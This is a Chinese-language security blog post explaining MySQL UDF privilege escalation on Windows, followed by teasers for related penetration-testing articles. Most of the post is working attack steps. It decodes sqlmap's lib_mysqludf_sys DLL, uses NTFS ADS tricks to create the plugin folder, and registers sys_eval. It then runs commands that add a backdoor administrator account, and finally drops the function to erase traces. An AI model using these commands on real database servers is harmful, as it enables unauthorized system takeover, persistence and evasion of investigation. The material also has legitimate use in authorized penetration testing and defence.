MySQL UDF提权

VSole2021-12-01 07:56:57

0x00 原理

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

0x01 思路

1. 将udf文件上传到指定位置  

sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。

  • sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
  • sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

有了udf文件,接下来就是利用各种办法上传到网站指定目录下 

  • MySQL<5.0,导出路径随意;
  • 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
  • MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir;  //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

2. 从udf文件中引入自定义函数

create function sys_eval returns string soname 'udf.dll';    //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名

3. 执行自定义函数

//新建账号waitalone,密码为waitalone.cnselect cmdshell('net user waitalone waitalone.cn /add'); //将waitalone加入管理员组select cmdshell('net localgroup administrators waitalone /add');

4.清除痕迹 

drop function cmdshell; 删除函数 delete from mysql.func where name='cmdshell'  删除函数

0x02 参考资料

http://www.mamicode.com/info-detail-2294087.htmlhttps://www.waitalone.cn/mysql-tiquan-summary.htmlhttps://blog.csdn.net/x728999452/article/details/52413974https://www.cnblogs.com/xishaonian/p/6016486.html
mysqlmysql自定义函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
mysql提权总结
2021-09-17 15:04:08
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。
MySQL UDF提权
2021-12-01 07:56:57
sqlmap中的udf文件提供的函数:sys_eval,执行任意命令,并将输出返回。sys_get,获取一个环境变量。sys_set,创建或修改一个环境变量。
在日常渗透过程中我们经常会和数据库打交道,其中很多时候都与Mysql数据库有关,Mysql的提权,写入webshell、数据库用户权限提升等
前两天朋友分享了一个实验靶场,感觉环境还不错,于是对测试过程进行了详细记录。
提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。Windows:User >> SystemLinux:User >> Root二、怎样进行提权1.、系统漏洞提权。
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
FastCGI与PHP-FPM FastCGI 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
利用SSRF渗透内网主机
2021-12-26 07:39:35
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
Windows提权方法汇总
2021-08-23 09:57:40
先说实用度,比较被动,而且比较看脸。 Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。 无引号服务路径有可能会导致这种情况的发生。
VSole
网络安全专家